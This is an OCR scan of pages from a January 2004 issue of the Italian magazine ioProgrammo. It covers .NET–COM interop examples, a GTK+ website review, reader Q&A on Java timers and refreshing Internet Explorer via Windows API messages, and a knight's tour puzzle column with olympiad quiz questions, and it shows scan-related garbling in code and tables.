PLATFORM 2 ND EDITION 
Andrew Troelsen 
(APress) 



http://www.ioprogrammo.it 



Gennaio 2004/123 ► 



ADVANCED EDITION T ■ Component Object Model e .NET 





SUL WEB 



Documentazione on- 
line MSDN 

[1] msdn.microsoft.com 

[2] www.gotdotnet.com 




Fig. 3: L'esecuzione 
dalla Shell del Dos. 



A 


speed=100 


l OK j 





Fig. 4: L'alert visualizzato 
in Internet Explorer. 



ottenuto per mezzo dell'istruzione uuidof(Au- 

tomobile): 

#include "stdafx.h" 

#include <iostream> 

using namespace std; 

#import "automobile.tlb" no_namespace 

int _tmain(int argc, _TCHAR* argv[]) 

{ CoInitialize(NULL); 

try{ long speed; 

IVeicoloPtr automobile( uuidof(Automobile)); 

cout << "Automobile creata" << endl; 

Da questo punto in poi possiamo utilizzare l'istanza 
automobile come un qualsiasi oggetto COM, richia- 
mando i metodi e le proprietà che abbiamo definito 
ed implementato in codice C#: 

automobile- >get_Speed(&speed); 

cout << "speed: " << speed << endl; 

speed =automobile->Accelera( 100); 

cout << "dopo accelerazione, speed: " 

<< speed << endl; 

speed =automobile->Frena(30); 

cout << "dopo frenata, speed: " << speed << endl; 

long s=automobile->Speed; 

cout << "con property, speed: " << s << endl;} 

catch(_com_error& ce){ 

cout << "Errore COM: " << ce.ErrorMessage()<<endl; 

} CoUninitializeQ; 

return 0;} 

Non vi resta che lanciare l'eseguibile ottenuto per 
verificarne il corretto funzionamento (Fig. 3). Natu- 
ralmente l'intero codice sorgente è contenuto sul 
CD, sia della parte C#, sia l'intero progetto VC++, in 
questo caso .NET, ma facilemente importabile in 
altri ambienti. 



UTILIZZO 

ll\l JAVASCRIPT 

Come secondo esempio di utilizzo della type library 
creata, proviamo ad inserire in una pagina HTML 
del codice Javascript che crei un'istanza della classe 
Automobile, come fosse un qualsiasi ActiveX, e chia- 
miamo i suoi metodi: 

<html> 

<head> 

<script language="javascript"> 

var a = new ActiveXObject("Automobile"); 

a.Accelera(lOO); 

alert("speed = "+a. Speed); 

a.Frena(20) 

alert("speed = "+a. Speed); 

</script> 



</head> 

<body> 



</body> 

Aprendo la pagina in internet explorer, sempre che 
le opzioni di protezione non siano troppo restrittive, 
vedrete apparire delle finestre di alert come quella 
in Fig. 4, e comunque provate ad aprire il file testAu- 
tomobile.htm anch'esso fornito insieme agli altri 
sorgenti. Molti di voi si staranno chiedendo se è 
possibile allora utilizzare dei controlli .NET Win- 
dows Forms, come se fossero normali controlli 
ActiveX. La risposta è sì, Internet Explorer in parti- 
colare crea da sé un Com Callable Wrapper, al mo- 
mento del caricamento di una pagina html conte- 
nente un controllo .NET. Magari affronteremo l'ar- 
gomento in un altro articolo. 



LINEE GUIDA 

PROGETTAZIONE 



Per scrivere componenti .NET che non abbiano 
problemi di funzionamento una volta esportati ver- 
so il mondo COM, è necessario seguire una serie di 
precauzioni e di suggerimenti. Come ho già accen- 
nato, ogni classe .NET da esporre a COM deve avere 
un costruttore di default, cioè senza parametri, 
mentre, se ci sono anche altri costruttori, (con para- 
metri) è opportuno fornire anche dei metodi di ini- 
zializzazione degli stessi parametri, visibili senza 
problemi ai client COM. Come secondo avverti- 
mento evitate l'uso di membri statici nelle classi 
.NET, in quanto essi non sarebbero visibili. Per 
quanto riguarda l'overloading dei metodi, prestate 
particolare attenzione ai nomi, infatti i nomi dei 
metodi nella type library non corrisponderanno a 
quelli originari, ad esempio se in C# avessimo i due 
metodi: 

int MioMetodoQnt n); 

int MioMetodo(double d); 

le interfacce COM generate conterrebbero invece i 
metodi con i nomi numerati sequenzialmente, ad 
esempio: 

long MioMetodoQong s ); 

long MioMetodo_2(); 

I problemi di naming precedenti non sono gli unici: 
evitate assolutamente l'uso di nomi che in .NET non 
hanno nessun significato mentre lo avrebbero in 
COM, ad esempio IUnknown, Release, AddRef, e chi 
più ne ha più ne metta. 

Antonio Pelleriti 
antonio.pelleriti@ioprogrammo.it 



► 124/Gennaio 2004 



http://www.ioprogrammo.it 



http://www.gtk.org/ 



T IL SITO DEL MESE 



CTK+: The GIMP Toolkit 



GUI è acronimo di Graphical User Interface, Interfaccia Utente Grafica. 



G.^ 



Oggi, con la sigla GUI, si fa rife- 
rimento all'insieme delle 
icone, dei desktop, dei pul- 
santi, dei menu, delle barre e di tutti 
quei componenti che la maggior 
parte dei software (e dei sistemi ope- 
rativi dotati di ambiente grafico) 
impiegano per dialogare con l'uten- 
te. I software da riga di comando 
sono ancora estremamente proficui 
ed ampiamente impiegati, soprattut- 
to in ambito UNIX/ Linux. Tuttavia, 
quando si intende realizzare del software 
che sia comodo per tutti, non si può tra- 
scurare lo sviluppo di una GUI semplice e 
coerente. 

USABILITÀ 

La progettazione e lo sviluppo di una GUI 
sono discipline che abbracciano numerosi 
rami del sapere informatico. Per prima 
cosa, soprattutto durante la fase progettua- 
le, grande attenzione deve essere dedicata 
alle più diffuse norme di usabilità. Se si 
intende realizzare un programma con GUI, 
anziché un software da riga di comando, è 
perché si desidera che il risultato finale 
possa essere impiegato facilmente, intuiti- 
vamente e velocemente. Se la GUI è mal 
progettata ogni buona intenzione va a farsi 
benedire: l'utente inesperto non riuscirà 
ad usare il programma nel migliore dei mo- 
di, mentre quello esperto si lamenterà del 
fatto che avrebbe fatto prima a compiere le 
medesime operazioni senza una costrittiva 
GUI. 

SVILUPPO 

Una volta portata a termine la fase proget- 
tuale, è necessario passare al lato maggior- 
mente pratico: lo sviluppo della GUI. Qui 
entrano in ballo nuove decisioni che è ne- 
cessario prendere, prima di iniziare a scri- 
vere del codice. Quale sistema grafico è 
destinatario dell'applicazione? Quali op- 
portunità ci sono? Che strumenti si posso- 
no usare per costruire una GUI tecnica- 
mente valida? Sviluppare interfacce grafi- 
che destinate a UNIX o Linux significa ave- 
re ampia possibilità di scelta. UNIX nacque 



§ 



Thi CiHP Tce*H 





Sto» Su buffet*» itiiwIh in «toh* -ntttvn rf ••prf «ptcrita» ti 



come sistema da riga di comando. Le inter- 
facce grafiche sono venute dopo. A diffe- 
renza di altri sistemi (come Windows), dove 
gli strumenti delle interfacce grafiche sono 
di fatto parte stessa del sistema operativo, 
in ambito UNIX e Linux la GUI è qualcosa 
che gira sopra il sistema senza farne inti- 
mamente parte. Il sistema grafico di UNIX, 
nella situazione più diffusa oggi, si basa su 
differenti strati. Alla base di tutto, natural- 
mente, gira il sistema operativo. Sopra di 
esso, si fa uso di un server grafico. Il compi- 
to di questo componente software e quello 
di fare da tramite tra l'hardware necessario 
all'interazione (mouse, tastiera, scheda 
video) e l'ambiente presentato all'utente. Il 
server grafico può disegnare sullo schermo 
qualsiasi cosa gli venga richiesta, ma non 
fornisce automaticamente funzioni per la 
creazione dei menu, dei pulsanti, delle 
icone e di tutto quello che fa parte di una 
comune GUI. Queste funzionalità vengono 
fornite dai client grafici che si interfacciano 
con il server. Le possibilità di scelta, in que- 
sto caso, sono molteplici. 

LA SCELTA 
DEL CLIENT 

Esistono molti client, ed esistono molte 
librerie che il programmatore può scegliere 
per lo sviluppo della propria GUI. GTK+ è il 
nome di un'importante libreria per lo svi- 
luppo di interfacce utente grafiche, usata 
prevalentemente in ambiente UNIX e Li- 
nux, anche se è stato sviluppato un porting 
per Windows. Con le librerie GTK+ è possi- 
bile assemblare software di diverso tipo, da 
piccoli applicativi fino a complete e com- 
plesse suite. Alcuni nomi celebri sono rap- 



presentati dal software di manipola- 
zione grafica The GIMP e dal desktop 
manager GNOME, che a tutti gli 
effetti sono i due principali successi 
dovuti alla libreria in esame. Altri 
nomi noti, nel mondo di Linux, sono 
AbiWord e Gnumeric. GTK+ è una 
sigla che sta per The GIMP Toolkit. 
Originariamente, infatti, il kit venne 
sviluppato come supporto alla realiz- 
zazione di The GIMR il noto software 
GNU per la manipolazione delle 
immagini. Successivamente la bontà delle 
librerie prodotte ha fatto sì che le stesse 
venissero adottate da molti altri sviluppa- 
tori, soprattutto nell'ambito del progetto 
GNU, ma non solo. Le librerie GTK+, infat- 
ti, vengono distribuite secondo i dettami 
della licenza LGPL, meno rigida rispetto 
alla GPL. Ne consegue che le librerie GTK+ 
possono essere integrate ed impiegate 
anche in ambiti non strettamente GPL. 



UNA MINIERA 
DI INFO 

La libreria GTK+ è orientata agli oggetti e 
gode di una convenzione di denominazio- 
ne delle API che rende estremamente intui- 
tivo lo sviluppo ed il mantenimento delle 
interfacce, una volta entrati nell'ottica. 
Chiunque si ritrovi a programmare sotto 
Linux e UNIX, con lo scopo di realizzare 
applicazioni con un'interfaccia grafica 
integrata in GNOME, non può prescindere 
dalla libreria GTK+. Un ottimo punto per 
avviare il proprio studio in questo settore è 
http://www.gtk.org/, vale a dire il sito uffi- 
ciale di The GIMP Toolkit. Il sito è semplice, 
navigabile, leggero e gradevole. Insomma, 
è ben fatto. Contiene informazioni, screen- 
shot, novità, download ed altro materiale 
dedicato alle librerie GTK+. Estremamente 
proficui i tutorial destinati ai programma- 
tori nuovi al mondo di GTK+. Un sito con- 
sigliato a chiunque abbia intenzione di ini- 
ziare a sviluppare GUI per piattaforma 
UNIX o Linux senza sapere esattamente da 
dove far partire il proprio percorso di 
apprendimento. 

Carlo Pelliccia 



http://www.ioprogrammo.it 



Gennaio 2004/125 ► 



Le risposte alle domande dei lettori 



▼ INBOX 




Box 

L'esperto risponde... 



Java: temporizzazione 

giornaliera 

di un'applicazione 

Salve a tutti. Vorrei un consiglio sulla 
realizzazione di una applicazione. 
Devo realizzare un programma che 
risiede su un server e che ogni giorno 
interroghi automaticamente un db ed 
invìi un email. Per l'invio di email sto 
utilizzando le API javamail. Vorrei 
consigli sulle classi da utilizzare che 
gestiscono la temporizzazione 
automatica giornaliera dell'email. Potrei 
utilizzare ad esempio la classe Timer (?!). 
Avete qualche idea o esempi di codice? 
Si tenga presente che il programma gira 
in maniera continuativa e perenne sul 
server a meno che è l'utente stesso a 
stopparlo. Grazie anticipatamente. 

Inglombamarc 

Risponde Icyakan 

Puoi usare un Timer (o un Thread) settato 
come deamon in modo da tenere "viva" la 
JVM anche se il thread main termina. Quindi 
crea un TimerTask per avere una callback nel 
momento in cui il periodo spira: 

public class SendMailTask extends TimerTask 

{ SendMail sendMail = ..; 

public void run() 

{ sendMail.sendQ; } 

> 

e quindi per schedulare il task in maniera perio- 
dica ogni 24 ore: 

public class Main 

{ Timer timer = new Timer(true); 

//isDeamon = true 

public static void main(Strig[] argv) 

{ Mailer mailer = new MailerQ; 

timer.schedule(new SendMailTask( 
mailer.getSenderQ), 1, 1000*60*60*24);} 

> 

Nel metodo GetSender, 1 è il numero di millise- 
condi ed indica dopo quanto tempo il timer 
deve avviarsi. 1000*60*60*24 sono il numero di 
millisecondi corripondenti a 24 ore. Ricorda di 
non lanciare eccezioni nel metodo run di 
TimerTask, anche se può sembrare intuitivo, 
che questa eccezione venga sollevata sul meto- 
do schedule, non è così; l'esecuzione del Task 



avviene su un altro thread e quindi un flusso 
separato. Per risolvere il problema puoi comun- 
que catturare ogni eccezione nel metodo run e 
inviarla ad un gestore che mostri l'errore all'u- 
tente o facendo un log. Ciao! 

C++: Comunicazione 

fra applicazioni 

Devo realizzare un programma 
eseguibile che aggiorni la pagina 
web caricata da Internet Explorer (o da 
browser comunque che fanno il reload 
con F5). Allora ho scritto questo 
programma per il refresh di una finestra 
di Internet Explorer utilizzando le API di 
Windows: 



#include <windows.h> 

int WINAPI 

WinMain(HINSTANCE hlnst, HINSTANCE 
hPrevInst, LPSTR IpCmdLine, int 

nCmdShow) 

{ HWND handler; 

BOOL update_result,post_result; 
if((handler=FindWindow("IEFrame", 

NULL)) = = NULL) 

{ MessageBox(0, "Errore di FindWindow", 

"Errore", MB_OK); 

return 1; } 

if((post_result=PostMessage( 

handler, WM_CHAR,VK_F5,0)) = = 0) 
{ MessageBox(0, "Errore di 

PostMessage", "Errore", MB_OK); 

return 2; } 

if((update_result=UpdateWindow( 

handler)) ==0) 

{ MessageBox(0, "Errore di 

UpdateWindow", "Errore", MB_OK); 

return 3; } 

return 0; 

} 

Premetto che è anche la prima volta che 
mi approccio alla programmazione 
mediante le API quindi scusate i miei 
eventuali grossolani errori... Utilizzo II 
Visual C++ 6.0. Compilatore e linker 
sono a posto, ma comunque non 
succede nulla. Ho controllato con Spy++ 
ed effettivamente la finestra riceve il 
segnale ma non fa il refresh... 
<br>Potreste darmi una mano 
dicendomi dove sbaglio? Il programma 



in pratica deve solo far fare al browser il 
reload della pagina che sta 
visualizzando in quel momento. 

IM_a_r_o_g 

Risponde johnkoenig 

Se provi a mandare un altro messaggio, ad 
esempio WM_CLOSE, noterai che questo fun- 
ziona benissimo, nel senso che la finestra di 
Explorer si chiude. Nel caso del tasto [F5], la co- 
sa è leggermente diversa. Si tratta infatti di uno 
short key, ovvero di un tasto di accelerazione del 
comando Aggiorna del menu Visualizza. Come 
tu ben sai, al tasto [F5] viene associato l'ID rela- 
tivo a quella voce di menu. Se catturi tutti i mes- 
saggi della finestra di Explorer all'intero di 
Spy++ (disattivando magari quelli relativi al 
mouse), noterai che se provi a selezionare la 
voce Aggiorna del menu Visualizza direttamen- 
te col mouse, il programma genera un messag- 
gio WM_COMMAND nel quale potrai scorgere 
YID relativo alla voce selezionata. Si tratta in 
questo caso deWID=41504. FINITO. Non ti resta 
che inviare un messaggio WM_COMMAND con 
il parametro WPARAM uguale all'ID appena 
trovato: 

int APIENTRY WinMain(HINSTANCE hlnstance, 
HINSTANCE hPrevInstance, LPSTR 

IpCmdLine, int nCmdShow) 

{ 

// TOPO: Place code here. 

HWND handler; 

BOOL post_result; 

if((handler=FindWindow( 

"IEFrame",NULL)) = = NULL) 

{ MessageBox(Q, "Errore di 

FindWindow", "Errore", MB_OK); 

return 1; } 

if((post_result=PostMessage( 
handler,WM_COMMAND,415Q4,Q)) = = 0) 

{ 

MessageBox(0, "Errore di 

PostMessage", "Errore", MB_OK); 

return 2; } 

return 0; 

} 

PER CONTATTARCI 

e-mail: iopinbox@edmaster.it 

Posta: Edizioni Master, 

Via Cesare Correnti, 1 - 20123 Milano 



http://www.ioprogrammo.it 



Gennaio 2004/127 ► 



L'ENIGMA DI IOPROGRAMMO T ■ Alla ricerca dell'algoritmo esatto 



L'ultimo salto 
del cavallo 



di Fabio Grimaldi 



I metodi efficienti di soluzione del problema si riconducono 
all'individuazione di regole per la produzione di percorsi sulla 
scacchiera ed alla relativa implementazione degli stessi. 









rVV \i 







Si conclude la mistica danza dell'equino 
sulla scacchiera. Il quesito ha dato splen- 
didamente il "la" alla neonata sezione 
che ha subito contato i suoi numerosi proseli- 
ti, ben interessati e motivati a partecipare atti- 
vamente alla discussione instaurata. 
L'interesse per il forum e per l'apposita sezio- 
ne "V enigma" su www.ioprogrammo.it, sono 
una riprova di quanto detto. Ma, è arrivato il 
momento di salutare il simpatico animale per 
migrare verso nuovi scenari ed interessanti 
altri enigmi, è infatti l'ultima volta che affron- 
teremo il problema. In questo appuntamento 
esamineremo un semplice metodo dalle 
performance strepitose e lanceremo un nuovo 
enigma, a voi la capacità di non farlo disper- 
dere negli spazi siderali come gli astronauti di 
"2001 odissea nello spazio". 



UNA SOLUZIONE 
SEMIAUTOMATICA 

La soluzione che proporrò l'ho battezzata 
semiautomatica poiché ritengo che rientri in 
una casistica che prevede un importante 
momento di studio scollegati dal PC. Essa 
consta di due fasi, una di analisi e risoluzione 
del problema, fatta con il solo cavallo, ed una 
scacchiera e l'altra implementativa con l'uso 
del computer e di un linguaggio di program- 
mazione per sviluppare l'algoritmo ideato. La 
prima fase produce il metodo che è molto 
semplice ed intuitivo. Si tratta di posizionare, 
inizialmente, il cavallo in uno dei vertici della 
scacchiera (supponiamo in alto a sinistra, po- 
sizione 1,1) e di percorrere in modo ciclico la 
scacchiera. Dopo quattro giri il cavallo termi- 
na il suo tour. La regola che detta la scelta 
della casella dove saltare è semplicissima, se- 



guendo la sua direzione di percorrenza, ad 
esempio senso antiorario, bisogna scegliere 
sempre la casa libera più vicina al bordo della 
scacchiera. In Fig. 1 è mostrato l'intero tour. 
Analizzando la figura si nota come la regola 
sia sempre verificata; ad esempio dopo un 
giro completo al dodicesimo salto il cavallo 
può saltare nella casa (1,1) oppure (1,3) che 
sono le più vicine al bordo, ma la prima è già 
stata occupata quindi si sceglie la seconda. 




Fig. 1: Soluzione di un metodo semiautomatico. 



Nella seconda fase si tratta di strutturare un 
algoritmo risolutore. La struttura dati è analo- 
ga a quella usata nella scorsa puntata, l'algo- 
ritmo può essere schematizzato in meta lin- 
guaggio come segue: 

i <- 

pos.x <-l 

pos.y <-l 

occupa(pos) 



^ 128/Gennaio 2004 



http://www.ioprogrammo.it 



Alla ricerca dell'algoritmo esatto I ▼ L'ENIGMA DI IOPROGRAMMO 



ripeti 

i<-i+l 

pos<-cercanuova(pos) 

occupa(pos) 

finché i = 64 

La funzione più importante è cercanuova( 
pos) che applicando la regola esposta, indivi- 
dua la nuova posizione {pos è un record con le 
due coordinate x e y). La funzione utilizzerà 
un'altra funzione che calcola la distanza tra il 
bordo e le posizioni possibili e sceglie quella 
che risulta minore, nel mantenimento della 
direzione descritta del percorso ciclico. 
occupa(pos) semplicemente segna sulla ma- 
trice scacchiera il numero i indicante l'avve- 
nuto salto al ì-esìmo passo. Da sottolineare, 
inoltre, che non è necessario, come nel caso 
del backtrackìng, prevedere nuove soluzioni 
qualora non ci siano case dove saltare, quindi 



58 


35 


22 


13 


64 


11 




39 


260 










23 


14 59 36 


17 


38 


63 10 


260 




34 


57 16 21 


12 


61 


40 




260 












15 


24 33 60 


37 


20 9 62 


260 


Bf*JtJ 


3 56 45 




41 






50 


7 


260 












55 


46 H 4 


49 


8 










260 


2 


27 48 53 


44 


E£^^L*9 


W*M 1 




260 


47 




I 


i 


52 


43 


; 










260 


260 


260 


260 


260 


260 


260 


260 


260 





Fig. 2: Salto di cavallo magico. 



ripercorrere a ritroso l'albero delle soluzioni. 
La prima fase di formulazione di regole per la 
scelta del percorso garantisce che ci siano 
sempre case dove poter saltare. Quindi si pas- 
sa da una complessità esponenziale (ricorda- 
te i milioni di cicli per l'algoritmo con back- 
trackìng) ad una addirittura lineare. 
Un bel salto, vero? 



uni SALTO 

DI CAVALLO MAGICO 

Una sorprendente soluzione unisce il presen- 
te enigma con i conosciuti quadrati magici. 
Se si numerano le case in base all'ordine di 
percorrenza del cavallo si ottiene una quadra- 
to di 64 numeri. La soluzione riportata in Fig. 
2 mostra come i numeri incasellati, oltre ad 
essere una valida soluzione per il tour del 
cavallo, sono un quadrato semimagico (semi 
poiché la somma dei numeri per riga e colon- 
na che, nel caso specifico, è sempre 260, non 
corrisponde alla somma delle due diagonali). 
Siamo, quindi, di fronte ad un salto di cavallo 
magico, non trovate? Il lettore può provare ad 
individuare l'algoritmo risolutore. 
È questo il quesito proposto che accennavo 
nel preambolo. 



CONCLUSIONI 

Si conclude così l'enigma di natura equina, 
ben integrato da diversi problemi di logica e 
programmazione. Vi aspetto per nuovi ed in- 
teressanti quesiti. 



• : : . ; ; ; i .. 

■ 4 TLI à 



imMVi 




SUL WEB 



Riporto i link più 
importanti sul tema. 
Sterminati archivi 
storici e di 
documentazione 
algoritmica e qualche 
interessante idea. 

http://www.borderschess. 
org/KTIinks.htm 

http://www.borderschess. 
org/Kn ightTour.htm 
http://www.ktn.freeuk.com/ 

http://www.velucchi.it/ 
mathchess/knight.htm 



L'ANGOLO DELLA COMPETIZIONE 



A fine novembre dello scorso anno, 
si sono tenute le selezioni scolastiche 
per le olimpiadi di informatica. La 
competizione organizzate dall'alca 
f www.aicanet.it) - associazione 
italiana per l'informatica ed il calcolo 
automatico - ed in collaborazione 
con il MIUR, ha la finalità di 
selezionare tra tutti gli studenti 
italiani (giovani con età inferiore a 
20 anni) un piccolo gruppo che potrà 
partecipare alla gara mondiale 
"International Olympiad in 
Informatics" (www.ioi2004.org) che 
questo anno sarà ospitata dalla 
Grecia. In questa occasione molti 



giovani si sono potuti confrontare su 
quesiti inerenti l'informatica. Gli 
esercizi sono stati classificati in due 
grandi categorie, la prima di 
orientamento logico matematico e la 
seconda di puro carattere di 
programmazione. 
È solo il caso di accennare, ancora 
una volta, come ci sia una forte 
relazione tra logica, matematica e 
programmazione, il che conferma 
l'importanza di questo spazio nella 
rivista. Data la forte affinità con la 
presente sezione ho pensato che la 
cosa interessi, e non poco, chi 
apprezza il genere. 



Per ovvi motivi di spazio ho potuto 
approntare solo una selezione dei 18 
esercizi somministrati, privilegiando 
quelli a carattere logico matematico. 
Se risulteranno graditi provvedere a 
riportarne di altri nei prossimi 
numeri. Da tenere presente che per 
ogni domanda soltanto una risposta 
è corretta. Adesso provate a testare 
il vostro quid intellettivo- 
informatico. 

Il primo è un problema che si svolge 
sullo stesso scenario oggetto 
dell'enigma, ossia una scacchiera, 
quindi non poteva essere escluso 
nella scelta! ►► 



http://www.ioprogrammo.it 



Gennaio 2004/129 ► 



L'ENIGMA DI IOPROGRAMMO T ■ Alla ricerca dell'algoritmo esatto 





' L'ANGOLO DELLA COMPETIZIONE 


►► 1) Supponiamo di avere di fron- 


Non poteva mancare un quesito di 


begin 


te a noi una scacchiera 8x8 e delle 
tessere del domino che hanno una 
dimensione tale da ricoprire esat- 
tamente 2 caselle adiacenti della 
scacchiera. Vogliamo coprire con le 


logica pura. 

3) Se tutti i belli sono ricchi e tutti 
i ricchi sono tristi, quale fra le se- 


if n>0 then 


A := n+A(n-l) 


else 


A := 


end; 


tessere tutta la scacchiera escluse 


guenti frasi è corretta? 


function B(n:integer):integer; 


due caselle collocate in due angoli 




begin 


opposti della scacchiera. Dire quale 
delle seguenti frasi è vera. 


Risposte: 


B := (n*(n + l) div 2) 


end; 




□ a) alcuni tristi sono belli 




Risposte: 


□ b) tutti i ricchi sono belli 


Linguaggio C: 


□ a) per ricoprire nel modo richiesto 




int A(int n){ 


la scacchiera servono 32 tessere; 


□ e) alcuni belli non sono tristi 


if (n > 0) 


□ b) per ricoprire nel modo richiesto 
la scacchiera servono 31 tessere; 


□ d) nessuna delle precedenti 

In assoluto il seguente è quello che 


return n+A(n-l); 


else 


return 0; 


} 


□ e) per ricoprire nel modo richiesto 


mi è piaciuto di più, soprattutto 


int B(int n) 


la scacchiera servono 30 tessere; 


per la sua affascinante formulazio- 


{ 


□ d) non è possibile riuscire a coprire 


ne. 


return (n*(n+l)/2); 


} 


la scacchiera nel modo richiesto. 








4) Una missione terrestre su Mar- 


Quale delle seguenti affermazioni 


Il prossimo l'ho trovato interes- 


te scopre una iscrizione. 


è vera? 


sante anche se a dire il vero è 


Sapendo che dopo lunghe analisi si 




anche abbastanza facile. 


interpreta che l'iscrizione riporti 
5+4=11, quante dita per mano ave- 


Risposte: 




va il marziano (si assuma che il 


□ a) la funzione A calcola il fattoriale di 


2) Durante una serata particolar- 


marziano abbia avuto due mani)? 


un numero mentre la funzione B 


mente limpida, con un bel cielo 




calcola la sommatoria di tutti i 


stellato, Antonio si concentra a 


Risposte: 


numeri compresi fra 1 ed n. 


guardare una porzione di cielo in 






cui sono visibili esattamente 99 


Uà) 4 


□ b) sia la funzione A che la funzione B 


stelle. Antonio si chiede quale fra 




calcolano la sommatoria di tutti i 


queste stelle sia la più vicina. Ha a 


Ub)5 


numeri compresi fra 1 ed n, 


disposizione uno speciale misura- 




assumendo n maggiore o uguale a 


tore che ha la capacità di confron- 


Uc)6 


1. 


tare fra loro 3 stelle ed indicarne la 






più vicina. Quale è il numero mini- 


□ d) nessuna delle precedenti 


□ e) la funzione A e la funzione B 


mo di misurazioni che Antonio de- 




calcolano esattamente la stessa 


ve compiere per scoprire la stella 


Ho selezionato un solo esercizio 


funzione. 


più vicina? 


nella categoria programmazione. 






eccolo. Il codice è riportato nei due 


□ d) nessuna delle precedenti 


Risposte: 


linguaggi pascal e C. 


affermazioni è vera. 


□ a; 33 








5) Si considerino le due seguenti 


Allora, che risultati avete ottenu- 


\3b)49 


funzioni: 


to? Sono sicuro che avete subito 
trovato le soluzioni; ad ogni modo 


□ cj 99 


Linguaggio PASCAL: 


per completezza verranno riporta- 
te nel prossimo numero della rivi- 


□ d) nessuna delle precedenti 


function A(n:integer):integer; 


sta. 









^ 130/Gennaio 2004 



http://www.ioprogrammo.it